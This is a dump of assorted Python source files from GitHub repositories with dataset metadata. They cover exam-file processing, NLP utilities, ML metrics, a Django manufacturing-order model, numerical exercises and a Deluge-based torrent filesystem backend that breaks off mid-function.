file[-5:] != \".docx\": # docx 파일이 아니면 슥 이동\n continue\n\n # 학번 인식\n school_number = file[:-5].split(\"file_\")[-1]\n new_file_folder = f\"{result_folder_name}/{school_number}\"\n\n # 학생 폴더 생성\n if os.path.exists(new_file_folder):\n shutil.rmtree(new_file_folder) # 기존 폴더 삭제\n os.makedirs(new_file_folder)\n if verbose:\n print(f\"{new_file_folder} create..\")\n\n # 코드파일 읽음 (docx 파일)\n doc = Document(f\"{student_folder_name}/{file}\")\n if verbose:\n print(f\"{file} read..\")\n\n problem_list = list(map(lambda table: True if len(\n table.rows) & 1 == 0 else False, doc.tables))\n\n # 파일 검사\n assert problem_list.count(True) == len(\n problem_list), f\"{problem_list.index(False)+1}번 문제의 양식이 잘못되었습니다.\"\n\n number = 0\n for table in doc.tables: # 각 문제들에 대해 작업\n file_name = \"\"\n number += 1\n i = 0\n if verbose:\n print(f\"{school_number} problem {number} start\")\n\n # 학생의 각 문제에 따른 폴더 생성\n os.makedirs(f\"{new_file_folder}/problem{number}\")\n\n for row in table.rows:\n if i & 1 == 0: # 만약 짝수인 경우 해당 코드의 파일명임, ex) activity_main.xml, MainActivity.kt, ..\n file_name = row.cells[0].paragraphs[0].text\n\n else: # 문제에 대한 코드인 경우\n if verbose:\n print(\n f\"{school_number} problem {number}, {file_name} process..\")\n with open(f\"./{new_file_folder}/problem{number}/{file_name}\", \"w\", encoding=\"UTF-8\") as f:\n f.writelines(\"\\n\".join(\n list(map(lambda paragraph: paragraph.text, row.cells[0].paragraphs))))\n i += 1\n if verbose:\n print(f\"{school_number} problem {number} finished\")\n if verbose:\n print(f\"{file} done..\")\n if verbose:\n print(\"All Done.\")\n\n\nif __name__ == \"__main__\":\n auto_process(\"중간고사B\", \"mid-term B반\", verbose=True)\n","repo_name":"WhiteHyun/Automation-Word","sub_path":"모바일소프트웨어/auto.py","file_name":"auto.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22476663875","text":"#! /usr/bin/env python\n\nimport sys\nimport re\n\nerr = sys.stderr\n\nPROJ_ROOT = '/home/tony/csci/project/'\nMAP_PATH = PROJ_ROOT + 'data/word_sense_disambigation_corpora/combined_map.txt'\nSENSE_MAP = dict()\n\n\ndef load_map():\n n = 0\n with open(MAP_PATH, 'r') as algmap:\n for line in algmap:\n line = line.strip()\n if not line:\n break\n n += 1\n ab = line.split(\"\\t\")\n SENSE_MAP[ab[0]] = ab[1]\n err.write(str(n)+\" senses mapped\\n\")\n\n\nre_word = re.compile(r\"text=\\\"([^\\\"]*)\\\".*break_level=\\\"([A-Z_]*)\\\"\")\nre_sense = re.compile(r\"lemma=\\\"([^\\\"]*)\\\".*sense=\\\"([^\\\"]*)\\\"\")\n\n\ndef dexmlify(args):\n nline = 0\n args.pop(0)\n if not args:\n raise Exception(\"no arguments\")\n skipbad = args[0] in [ '--skip', '-s', '-bad', '--bad', '-b']\n if skipbad:\n args.pop()\n if len(args) != 2:\n raise Exception(\"Requires input and output file paths\")\n \n with open(args.pop(0)) as inf:\n with open(args.pop(0), 'w') as outf:\n text = ''\n for line in inf:\n nline += 1\n line = line.strip()\n if not line.startswith(' None:\n \"\"\"\n Confusion matrix plot helper function\n Args:\n cm: Confusion matrix\n classes: Classes in the order of the confusion matrix\n normalize: Normalise confusion matrix\n title: Plot title\n cmap: Color map\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n plt.rcParams[\"figure.figsize\"] = (20, 20)\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, range(len(classes)), rotation=45)\n plt.yticks(tick_marks, range(len(classes)))\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt), horizontalalignment=\"center\", color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n\n\ndef metrics(y_true: np.array, y_pred: np.array, classes: List) -> Dict:\n \"\"\"\n Metrics generator function\n Args:\n y_true: Ground truth\n y_pred: Predicted values\n classes: Class names\n\n Returns:\n A dictionary containing the metrics and the confusion matrix\n \"\"\"\n cm = sklearn.metrics.confusion_matrix(y_true, y_pred)\n plot_confusion_matrix(cm, classes, normalize=True)\n return {\n 'cm': cm,\n 'macro': {\n 'precision': sklearn.metrics.precision_score(y_true, y_pred, average='macro'),\n 'recall': sklearn.metrics.recall_score(y_true, y_pred, average='macro'),\n 'f1': sklearn.metrics.f1_score(y_true, y_pred, average='macro'),\n },\n 'micro': {\n 'precision': sklearn.metrics.precision_score(y_true, y_pred, average='micro'),\n 'recall': sklearn.metrics.recall_score(y_true, y_pred, average='micro'),\n 'f1': sklearn.metrics.f1_score(y_true, y_pred, average='micro'),\n },\n 'MCC': sklearn.metrics.matthews_corrcoef(y_true, y_pred)\n }\n","repo_name":"PlathC/GanBasedAugmentation","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"9347338698","text":"from xxhash import xxh32\nfrom padatious.bracket_expansion import SentenceTreeParser\n\n\ndef lines_hash(lines):\n \"\"\"\n Creates a unique binary id for the given lines\n Args:\n lines (list): List of strings that should be collectively hashed\n Returns:\n bytearray: Binary hash\n \"\"\"\n x = xxh32()\n for i in lines:\n x.update(i.encode())\n return x.digest()\n\n\ndef tokenize(sentence):\n \"\"\"\n Converts a single sentence into a list of individual significant units\n Args:\n sentence (str): Input string ie. 'This is a sentence.'\n Returns:\n list: List of tokens ie. ['this', 'is', 'a', 'sentence']\n \"\"\"\n tokens = []\n\n class Vars:\n start_pos = -1\n last_type = 'o'\n\n def update(c, i):\n if c.isalpha() or c in '-{}':\n t = 'a'\n elif c.isdigit() or c == '#':\n t = 'n'\n elif c.isspace():\n t = 's'\n else:\n t = 'o'\n\n if t != Vars.last_type or t == 'o':\n if Vars.start_pos >= 0:\n token = sentence[Vars.start_pos:i].lower()\n if token not in '.!?':\n tokens.append(token)\n Vars.start_pos = -1 if t == 's' else i\n Vars.last_type = t\n\n for i, char in enumerate(sentence):\n update(char, i)\n update(' ', len(sentence))\n return tokens\n\n\ndef expand_parentheses(sent):\n \"\"\"\n ['1', '(', '2', '|', '3, ')'] -> [['1', '2'], ['1', '3']]\n For example:\n\n Will it (rain|pour) (today|tomorrow|)?\n\n ---->\n\n Will it rain today?\n Will it rain tomorrow?\n Will it rain?\n Will it pour today?\n Will it pour tomorrow?\n Will it pour?\n\n Args:\n sent (list): List of tokens in sentence\n Returns:\n list>: Multiple possible sentences from original\n \"\"\"\n return SentenceTreeParser(sent).expand_parentheses()\n\n\ndef remove_comments(lines):\n return [i for i in lines if not i.startswith('//')]\n\n\ndef resolve_conflicts(inputs, outputs):\n \"\"\"\n Checks for duplicate inputs and if there are any,\n remove one and set the output to the max of the two outputs\n Args:\n inputs (list>): Array of input vectors\n outputs (list>): Array of output vectors\n Returns:\n tuple: The modified inputs and outputs\n \"\"\"\n data = {}\n for inp, out in zip(inputs, outputs):\n tup = tuple(inp)\n if tup in data:\n data[tup].append(out)\n else:\n data[tup] = [out]\n\n inputs, outputs = [], []\n for inp, outs in data.items():\n inputs.append(list(inp))\n combined = [0] * len(outs[0])\n for i in range(len(combined)):\n combined[i] = max(j[i] for j in outs)\n outputs.append(combined)\n return inputs, outputs\n\n\nclass StrEnum(object):\n \"\"\"Enum with strings as keys. Implements items method\"\"\"\n @classmethod\n def values(cls):\n return [getattr(cls, i) for i in dir(cls)\n if not i.startswith(\"__\") and i != 'values']\n","repo_name":"MycroftAI/padatious","sub_path":"padatious/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"18"} +{"seq_id":"14312648380","text":"import xlrd\nfrom .opengovparser import OpenGovParser\nimport requests\nimport shutil\nimport os\nimport urllib\nfrom django.conf import settings\nfrom django.core.files import File\nfrom urllib.request import urlopen\nfrom tempfile import NamedTemporaryFile\n\nclass OldLoksabhaParser(OpenGovParser):\n\tdef load_candidate_data(self):\n\t\tworkbook = xlrd.open_workbook(self.url)\n\t\tfor sheet in workbook.sheets():\n\t\t\tfor row in range(1, sheet.nrows):\n\t\t\t\tcandidate_name = sheet.cell_value(row, 0)\n\t\t\t\tparty = sheet.cell_value(row, 1)\n\t\t\t\tconstituency = sheet.cell_value(row, 2)\n\t\t\t\tstate = sheet.cell_value(row, 3)\n\t\t\t\tterm = int(sheet.cell_value(row, 4))\n\t\t\t\tterm = str(term)+'th'\n\t\t\t\timage_src = sheet.cell_value(row, 5)\n\t\t\t\teducation = sheet.cell_value(row, 6)\n\t\t\t\tpermanent_address = sheet.cell_value(row, 8)\n\t\t\t\temail = sheet.cell_value(row, 9)\n\t\t\t\tcriminal_cases = sheet.cell_value(row, 10)\n\t\t\t\tassests = sheet.cell_value(row, 11)\n\t\t\t\tliabilities = sheet.cell_value(row, 12)\n\t\t\t\t\n\t\t\t\t#print(candidate_name,party,constituency,state,term,image_url,education,permanent_address,email,criminal_cases,assests,liabilities)\n\t\t\t\tfilename,img = self.download_image(image_src,row,term)\n\t\t\t\t#print(filename)\n\t\t\t\tif term == \"16th\":\n\t\t\t\t\tsource = \"https://myneta.info/ls2014/index.php?action=show_winners&sort=default\"\n\t\t\t\tif term == \"15th\":\n\t\t\t\t\tsource = \"https://myneta.info/ls2009/index.php?action=show_winners&sort=default\"\n\t\t\t\t#print(candidate_name,party,constituency,state,term,image_src,education,permanent_address,email,criminal_cases,assests,liabilities,source)\n\t\t\t\tdata = [candidate_name,constituency,state,party,email,education,permanent_address,filename,img,term,criminal_cases,assests,liabilities,source]\n\t\t\t\tOpenGovParser.load_old_candidate_data(self,*data)\n\t\t\t\t#print(term,source)\n\t\t\t\tprint(candidate_name, \"is added\")\n\t\t\tprint(\"All data added\")\n\n\n\n\n\tdef download_image( self,img_src,row,term):\n\t\tfilename = str(term)+\"_\"+str(row)+'.jpg'\n\t\timg_temp = NamedTemporaryFile(delete=True)\n\t\ttry:\n\t\t\timg_temp.write(urlopen(img_src).read())\n\t\t\timg_temp.flush()\n\t\texcept:\n\t\t\timg_temp.write(urlopen(\"https://prsindia.org/files/mptrack/16-lok-sabha/profile_image/160053.jpg\").read())\n\t\t\timg_temp.flush()\n\t\treturn filename,img_temp\t\t\t\n\n\n","repo_name":"HackForChangeIN/OpenGov","sub_path":"OpenGovCore/management/commands/oldloksabhaparser.py","file_name":"oldloksabhaparser.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"20325247532","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport functools as ft\n\nn = 100\nn_x = [3, 13, 15, 35, 20, 10, 4]\nx_i = [25.2, 37.2, 49.2, 61.2, 73.2, 85.2, 97.2]\n\n\nccount = 0\nout = \"F(x) = \\n\"\n\nval = 0 / n\nout += f\"{val}, x <= {x_i[0]}, \\n\"\ny = [0]\n\nfor i in range(len(n_x)-1):\n val = ft.reduce(lambda x, y: x+y, n_x[:i+1]) / n\n out += f\"{val}, {x_i[i]} <= x <= {x_i[i+1]}, \\n\"\n y.append(val)\n\ni = len(n_x)-1\nval = ft.reduce(lambda x, y: x+y, n_x[:i+1]) / n\nout += f\"{val}, x > {x_i[i]}; \\n\"\ny.append(val)\n\nx_i = [x_i[0]-5] + x_i\n\nprint(out)\n\np1 = plt.plot(x_i, y, '-go')\n# plt.grid(axis=\"y\")\nplt.savefig('рис2.png')\nplt.show()","repo_name":"SashaPavlenko/NumericalAnalys","sub_path":"Anya/emperich.py","file_name":"emperich.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71387161641","text":"from django.db import models\nfrom django.utils.translation import ugettext as _\nfrom Apps.Manufacturing.const import *\n#from Apps.Manufacturing.MasterData.models import *\n#from Apps.Manufacturing.ProductionPlanning.models import *\nfrom datetime import datetime\nfrom Apps.Distribution.order.models import *\n\nclass Manufacturing_Order(models.Model):\n no_reg = models.CharField(verbose_name=_('Manufacturing Order'), max_length=25, editable=False) # no_reg = MO\n Production_Request = models.ForeignKey(SalesOrder, verbose_name=_('Permintaan Produksi'), limit_choices_to={'status': 3})\n Product = models.CharField(verbose_name=_('Produk'), max_length=35, help_text='Isi Dengan Nama Produk')\n ##Product = models.ForeignKey(Master_Product, verbose_name=_('Produk'))\n #Product_Quantity = models.IntegerField(verbose_name=_('Jumlah'), default=0, help_text='Jumlah Pesanan Produk')\n #Colour_Name = models.IntegerField(verbose_name=_('Jenis Warna'), choices=Warna_Produk, help_text='Pilihlah Warna Produk') # WARNA PRODUK\n #Label = models.IntegerField(verbose_name=_('Label'), choices=Label_Produk) # WARNA PRODUK\n #Category = models.IntegerField(verbose_name=_('Kategori'), choices=Kategori_Produk)\n Add_Date_Time = models.DateTimeField(verbose_name=_('Tanggal/Jam')) # tanggal masuk Manufacturing order dibuat\n #Add_Time = models.TimeField(verbose_name=_('Jam'))# jam masuk Manufacturing order dibuat\n\n class Meta:\n verbose_name=\"Manufacturing Order\"\n verbose_name_plural=\"Manufacturing Order\"\n\n def incstring(self):\n try:\n data = Manufacturing_Order.objects.all()\n jml = data.count()\n except:\n jml=0\n pass\n no = 0\n if jml == 0:\n no = 0\n else:\n for d in data:\n split = str(d.no_reg).split('/')\n no = int(split[3])\n num = no + 1\n cstring = str(num)\n return cstring\n\n def inclen(self):\n leng = len(self.incstring())\n return leng\n\n def no_rek(self):\n date = datetime.now()\n now = date.strftime(\"%m\")\n nowyear = date.strftime(\"%Y\")\n intnow = int(now)\n intyear = int(nowyear)\n strnow = str(intnow)\n if len(strnow) < 2 :\n strnow = '0%(strnow)s' % {'strnow' : strnow}\n nol = 5 - self.inclen()\n if nol == 1: num = \"0\"\n elif nol == 2: num = \"00\"\n elif nol == 3: num = \"000\"\n elif nol == 4: num = \"0000\"\n number = num + self.incstring()\n return 'MO/%(year)s/%(month)s/%(unik)s' % {'year': intyear, 'month': strnow, 'unik': number}\n\n def save(self, force_insert=True, force_update=True, using=None, update_fields=None):\n if self.no_reg =='':\n self.no_reg = self.no_rek()\n else:\n self.no_reg = self.no_reg\n super(Manufacturing_Order, self).save()\n\n def ID(self):\n return ' %(no_reg)s | %(Product)s' % {'no_reg':self.no_reg,'Product':self.Product}\n ID.short_description='MO Number'\n\n\n def __unicode__(self):\n return ' %(no_reg)s | %(Product)s' % {'no_reg':self.no_reg,'Product':self.Product}\n\"\"\" \n\tdef incstring(self):\t\n\t\ttry:\n\t\t\tdata = Manufacturing_Order.objects.all()\n\t\t\tjml = data.count()\n\t\texcept:\n\t\t\tjml=0\n\t\t\tpass\n\t\tno = 0\n\t\tif jml == 0:\n\t\t\tno = 0\n\t\telse: \n\t\t\tfor d in data:\n\t\t\t\tsplit = str(d.no_reg).split('/')\n\t\t\t\tno = int(split[3])\n\t\tnum = no + 1\n\t\tcstring = str(num)\n\t\treturn cstring\n\t\n\tdef inclen(self):\n\t\tleng = len(self.incstring())\n\t\treturn leng\n\t\n\tdef no_req(self):\n\t\tdate = datetime.now()\n\t\tnow = date.strftime(\"%m\")\n\t\tnowyear = date.strftime(\"%Y\")\n\t\tstrnow = str(now)\n\t\tintyear = int(nowyear)\n\t\t\n\t\tif len(strnow) < 2 :\n\t\t\tstrnow = '0%(strnow)s' % {'strnow' : strnow}\n\t\tnol = 5 - self.inclen()\n\t\tif nol == 1: num = \"0\"\n\t\telif nol == 2: num = \"00\"\n\t\telif nol == 3: num = \"000\"\n\t\telif nol == 4: num = \"0000\"\n\t\tnumber = num + self.incstring()\n\t\treturn 'MO/%(unik)s/%(year)s/%(month)s' % {'unik' : number,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'year' : intyear,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'month' : strnow}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\tdef save(self):\n\t\tif self.no_reg == '':\n\t\t\tself.no_reg = self.no_req()\n\t\telse: self.no_reg = self.no_reg\n\t\tsuper(Manufacturing_Order, self).save()\n\t\n\tdef __unicode__(self):\n\t\treturn u'%s' % self.no_reg\n\t\t\n\t\"\"\"\n# Create your models here.\n","repo_name":"cornelioroyer/ERPProject","sub_path":"Apps/Manufacturing/Manufacturing/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4309,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"75373184999","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 25 12:40:47 2019\r\n\r\n@author: rkrum\r\n\"\"\"\r\nimport numpy as np\r\nfrom math import exp\r\nfrom numpy import linalg as LA\r\n\r\n# calcula o gradiente da funcao quadratica\r\ndef calc_d_P3(x,flagmetodo=0):\r\n x1 = x[0]\r\n x2 = x[1]\r\n ## calculados analiticamente\r\n gradiente = np.array([2*(x1-3)+x2-1 , 2*(x2-1)+x1-3]) # rank 1\r\n Hessiana = np.array([[2, 1],[1, 2]])\r\n \r\n if flagmetodo == 0:\r\n d = -gradiente/(LA.norm(gradiente))\r\n else:\r\n d = LA.solve(-Hessiana,gradiente) # inv(Hessiana)*gradiente\r\n \r\n return d, gradiente\r\n\r\ndef calc_d_P4(x,flagmetodo=0):\r\n k = 0.5\r\n x1 = x[0]\r\n x2 = x[1]\r\n ## calculados analiticamente\r\n gradiente = np.array([2*exp(-k*x2)*(x1-1)-k*exp(-k*x1)*(x2-2)^2, \\\r\n -k*exp(-k*x2)*(x1-1)^2+ 2*exp(-k*x1)*(x2-2)])\r\n \r\n Hessiana = np.array([[2*exp(-k*x2)+k^2*exp(-k*x1)*(x2-2)^2, \\\r\n -2*k*exp(-k*x2)*(x1-1)-2*k*exp(-k*x1)*(x2-2)], \\\r\n [-2*k*exp(-k*x2)*(x1-1)-2*k*exp(-k*x1)*(x2-2), \\\r\n k^2*exp(-k*x2)*(x1-1)^2+2*exp(-k*x1)]])\r\n if flagmetodo == 0:\r\n d = -gradiente/(LA.norm(gradiente))\r\n else:\r\n d = LA.solve(-Hessiana,gradiente) # inv(Hessiana)*gradiente\r\n \r\n return d, gradiente\r\n\r\nif flag_f == 'fq':\r\n calc_d = calc_d_P3\r\nelif flag_f == 'fnq':\r\n calc_d = calc_d_P4\r\nelse:\r\n raise Exception('Escolha flag_f=\\'fq\\' para função quadrática\\\r\n e flag_f=\\'fnq\\' para função não-quadrática!')","repo_name":"hugohvf/SistemasInteligentes","sub_path":"Prova 1 - Atividade 2/calc_d.py","file_name":"calc_d.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10451796290","text":"#%% 04 - Positivo ou negativo\n\n\"\"\"\nFaça um programa, com uma função que necessite de um argumento. A função \nretorna o valor de caractere ‘P’, se seu argumento for positivo, e ‘N’, \nse seu argumento for zero ou negativo.\n\"\"\"\n\ndef inserir_numero_sistema():\n while True:\n try:\n numero = float(input(\"Informe um numero: \"))\n return numero\n except ValueError:\n print('Informe um numero inteiro')\n \ndef verificar_se_eh_positivo(n):\n if n >= 0: print('P')\n else: print('N')\n \nnum = inserir_numero_sistema()\nverificar_se_eh_positivo(num)\n","repo_name":"JoaoZati/ListaDeExerciciosPythonPro","sub_path":"ExerciciosFuncoes/Ex_04.py","file_name":"Ex_04.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4101940927","text":"import sys\nsys.stdin = open('5249.txt')\n\n# 크루스칼로 구현\ndef find(x):\n if x == parent[x]:\n return x\n parent[x] = find(parent[x])\n return parent[x]\n\ndef union(x, y):\n fx = find(x)\n fy = find(y)\n if fx != fy:\n parent[fy] = parent[fx]\n\nT = int(input())\nfor test_case in range(1, T + 1):\n V, E = map(int, input().split())\n E_list = []\n\n for _ in range(E):\n E_list.append(list(map(int, input().split())))\n\n E_list.sort(key=lambda x: x[2])\n\n parent = [i for i in range(V + 1)]\n\n total_w = 0\n for n1, n2, w in E_list:\n if find(n1) != find(n2):\n union(n1, n2)\n total_w += w\n print('#{} {}'.format(test_case, total_w))","repo_name":"HwnagYoungJun/algorithm","sub_path":"2020/5월/0522/5249_최소신장트리_swea.py","file_name":"5249_최소신장트리_swea.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24586933907","text":"import base64\nimport collections\nimport errno\nimport itertools\nimport logging\nimport os\nimport threading\nimport time\nimport weakref\n\nimport better_bencode\nimport concurrent.futures\nimport llfuse\n\nimport btn\nimport deluge_client_sync\nfrom yatfs import fs\n\n\ndef log():\n return logging.getLogger(__name__)\n\n\ndef file_range_split(info, idx, offset, size):\n offset_to_file = 0\n if b\"files\" in info:\n for i in range(0, idx):\n offset_to_file += info[b\"files\"][i][b\"size\"]\n file_size = info[b\"files\"][idx][b\"size\"]\n else:\n assert idx == 0\n file_size = info[b\"length\"]\n\n offset += offset_to_file\n\n size = min(size, file_size - (offset - offset_to_file))\n\n if size <= 0:\n return []\n\n piece_length = info[b\"piece_length\"]\n pieces = range(\n int(offset // piece_length),\n int((offset + size - 1) / piece_length) + 1)\n\n split = []\n for p in pieces:\n piece_offset = p * piece_length\n lo = offset - piece_offset\n if lo < 0:\n lo = 0\n hi = offset - piece_offset + size\n if hi > piece_length:\n hi = piece_length\n split.append((p, lo, hi))\n return split\n\n\ndef should_force_full_download(info):\n for r in btn.TRACKER_REGEXES:\n if r.match(info[b\"tracker\"].decode()):\n break\n else:\n return False\n if info[b\"total_done\"] >= info[b\"total_size\"]:\n return False\n downloaded_fraction = (\n float(info[b\"all_time_download\"]) / info[b\"total_size\"])\n if downloaded_fraction < 0.1:\n return False\n return True\n\n\nclass Info(dict):\n\n def have_piece(self, i):\n if i >> 3 >= len(self.get(b\"yatfsrpc.piece_bitfield\", b\"\")):\n return False\n return bool(\n self[b\"yatfsrpc.piece_bitfield\"][i >> 3] & (0x80 >> (i & 7)))\n\n\nclass Backend(object):\n\n DEFAULT_KEY = \"yatfs\"\n DEFAULT_KEEPALIVE = 60\n DEFAULT_READ_TIMEOUT = 60\n DEFAULT_READAHEAD_PIECES = 4\n DEFAULT_READAHEAD_BYTES = 0x2000000\n DEFAULT_READAHEAD_PRIORITY = 4\n DEFAULT_READING_PRIORITY = 7\n\n def __init__(self, client, key=None, keepalive=None, read_timeout=None,\n readahead_pieces=None, readahead_bytes=None,\n readahead_priority=None, reading_priority=None):\n self.client = client\n self.keepalive = float(keepalive or self.DEFAULT_KEEPALIVE)\n self.read_timeout = float(read_timeout or self.DEFAULT_READ_TIMEOUT)\n self.readahead_pieces = int(\n readahead_pieces or self.DEFAULT_READAHEAD_PIECES)\n self.readahead_bytes = int(\n readahead_bytes or self.DEFAULT_READAHEAD_BYTES)\n self.key = key or self.DEFAULT_KEY\n self.readahead_priority = int(\n readahead_priority or self.DEFAULT_READAHEAD_PRIORITY)\n self.reading_priority = int(\n reading_priority or self.DEFAULT_READING_PRIORITY)\n\n self.lock = threading.RLock()\n self.torrents = {}\n self.initialized = False\n self.shutdown = None\n\n def key_prefix(self):\n return self.key + \"_\"\n\n def open(self, inode, flags):\n with self.lock:\n torrent = self.get_torrent(inode.info_hash())\n handle = Handle(self, inode, torrent)\n torrent.handles.add(handle)\n return handle\n\n def get_torrent(self, info_hash):\n with self.lock:\n torrent = self.torrents.get(info_hash)\n if not torrent:\n torrent = Torrent(self, info_hash)\n self.torrents[info_hash] = torrent\n return torrent\n\n def init(self):\n with self.lock:\n assert not self.initialized\n self.initialized = True\n self.shutdown = threading.Event()\n updater = threading.Thread(\n name=\"update-all\", target=self.updater,\n args=(self.shutdown,))\n updater.daemon = True\n updater.start()\n\n self.client.add_event_handler(\n b\"TorrentAddedEvent\", self.on_torrent_add)\n self.client.add_event_handler(\n b\"TorrentRemovedEvent\", self.on_torrent_remove)\n self.client.add_event_handler(\n b\"YatfsReadPieceEvent\", self.on_read_piece)\n\n def destroy(self):\n with self.lock:\n assert self.initialized\n self.initialized = False\n self.shutdown.set()\n\n self.client.remove_event_handler(\n b\"TorrentAddedEvent\", self.on_torrent_add)\n self.client.remove_event_handler(\n b\"TorrentRemovedEvent\", self.on_torrent_remove)\n self.client.remove_event_handler(\n b\"YatfsReadPieceEvent\", self.on_read_piece)\n\n def update_all(self):\n with self.lock:\n for info_hash, torrent in list(self.torrents.items()):\n torrent.cleanup()\n if not torrent.is_alive():\n del self.torrents[info_hash]\n torrents = list(self.torrents.values())\n torrent_requests = [(t, t.request_update()) for t in torrents]\n hash_to_info_request = self.client.request(\n \"core.get_torrents_status\", {}, (\n \"yatfsrpc.piece_priority_map\",\n \"yatfsrpc.keep_redundant_connections_map\",\n \"tracker\", \"total_done\", \"total_size\", \"file_priorities\",\n \"all_time_download\"))\n\n updates = []\n\n for torrent, request in torrent_requests:\n try:\n result = request.result()\n except concurrent.futures.TimeoutError:\n # Don't let a chain of timeouts hold up the updates\n raise\n except:\n log().exception(\"during update request\")\n continue\n for update in torrent.reduce(result):\n updates.append(update)\n\n torrent.self_reduce()\n\n try:\n hash_to_info = hash_to_info_request.result()\n except:\n log().exception(\"during global update request\")\n hash_to_info = {}\n\n for update in self.do_global_update(hash_to_info):\n updates.append(update)\n\n # Get results of all updates, to surface any exceptions\n for update in updates:\n try:\n update.result()\n except concurrent.futures.TimeoutError:\n # Don't let a chain of timeouts hold up the updates\n raise\n except:\n log().exception(\"during an update\")\n continue\n\n def do_global_update(self, hash_to_info):\n for info_hash, info in hash_to_info.items():\n if info_hash in self.torrents:\n continue\n delete_p_ks = [\n k for k in info[b\"yatfsrpc.piece_priority_map\"]\n if k.startswith(self.key_prefix().encode())]\n if delete_p_ks:\n yield self.client.request(\n \"yatfsrpc.update_piece_priority_map\", info_hash,\n delete=delete_p_ks)\n delete_k_ks = [\n k for k in info[b\"yatfsrpc.keep_redundant_connections_map\"]\n if k.startswith(self.key_prefix().encode())]\n if delete_k_ks:\n yield self.client.request(\n \"yatfsrpc.update_keep_redundant_connections_map\",\n info_hash, delete=delete_k_ks)\n if should_force_full_download(info):\n priorities = info[b\"file_priorities\"]\n if any(p == 0 for p in priorities):\n yield self.client.request(\n \"core.set_torrent_file_priorities\", info_hash,\n [1 if p == 0 else p for p in priorities])\n\n def updater(self, shutdown):\n log().debug(\"start\")\n try:\n while not shutdown.is_set():\n try:\n self.update_all()\n except:\n log().exception(\"during update-all\")\n time.sleep(1)\n except:\n log().exception(\"fatal error\")\n finally:\n log().debug(\"shutting down\")\n\n def on_torrent_add(self, torrent_id):\n with self.lock:\n torrent = self.torrents.get(torrent_id)\n\n if not torrent:\n return\n\n torrent.on_add()\n\n def on_torrent_remove(self, torrent_id):\n with self.lock:\n torrent = self.torrents.get(torrent_id)\n\n if not torrent:\n return\n\n torrent.on_remove()\n\n def on_read_piece(self, torrent_id, piece, data, error):\n with self.lock:\n torrent = self.torrents.get(torrent_id)\n\n if not torrent:\n return\n\n torrent.on_read_piece(piece, data, error)\n\n\nclass Torrent(object):\n\n FIELDS = (b\"files\", b\"piece_length\", b\"yatfsrpc.piece_bitfield\",\n b\"save_path\", b\"hash\", b\"num_pieces\",\n b\"yatfsrpc.sequential_download\",\n b\"yatfsrpc.piece_priority_map\", b\"state\",\n b\"yatfsrpc.keep_redundant_connections_map\",\n b\"tracker\", b\"total_done\", b\"total_size\", b\"all_time_download\",\n b\"file_priorities\")\n\n def __init__(self, backend, info_hash):\n self.backend = backend\n self.info_hash = info_hash\n\n self.lock = self.backend.lock\n self.cv = threading.Condition(self.lock)\n self.client = self.backend.client\n self.info = None\n self.handles = set()\n self.piece_to_f = {}\n self.piece_to_read_req = {}\n\n def key_prefix(self):\n return self.backend.key_prefix()\n\n def piece_split(self, index, offset, size, pieces):\n with self.lock:\n info = self.info\n size = max(size, pieces * info[b\"piece_length\"])\n return file_range_split(info, index, offset, size)\n\n def piece_range(self, index, offset, size, pieces):\n return [p for p, _, _ in self.piece_split(index, offset, size, pieces)]\n\n def iter_reads(self):\n with self.lock:\n for handle in self.handles:\n for read in handle.iter_reads():\n yield read\n\n def reading_pieces(self):\n return set(p for r in self.iter_reads() for p in r.reading_pieces())\n\n def readahead_pieces(self):\n return set(p for r in self.iter_reads() for p in r.readahead_pieces())\n\n def apply_delta(self, key, old, value):\n if key == b\"yatfsrpc.sequential_download\":\n yield self.client.request(\n b\"yatfsrpc.set_sequential_download\", self.info_hash, value)\n if key == b\"yatfsrpc.piece_priority_map\":\n yield self.client.request(\n b\"yatfsrpc.update_piece_priority_map\", self.info_hash,\n update=value, delete=list(set(old.keys()) - set(value.keys())))\n if key == b\"paused\" and old and not value:\n yield self.client.request(\n b\"core.resume_torrent\", [self.info_hash])\n if key == b\"yatfsrpc.keep_redundant_connections\":\n key = self.key_prefix() + \"keepalive\"\n if value:\n kwargs = {\"update\": {key: value}}\n else:\n kwargs = {\"delete\": (key,)}\n yield self.client.request(\n b\"yatfsrpc.update_keep_redundant_connections_map\",\n self.info_hash, **kwargs)\n if key == b\"file_priorities\":\n yield self.client.request(\n 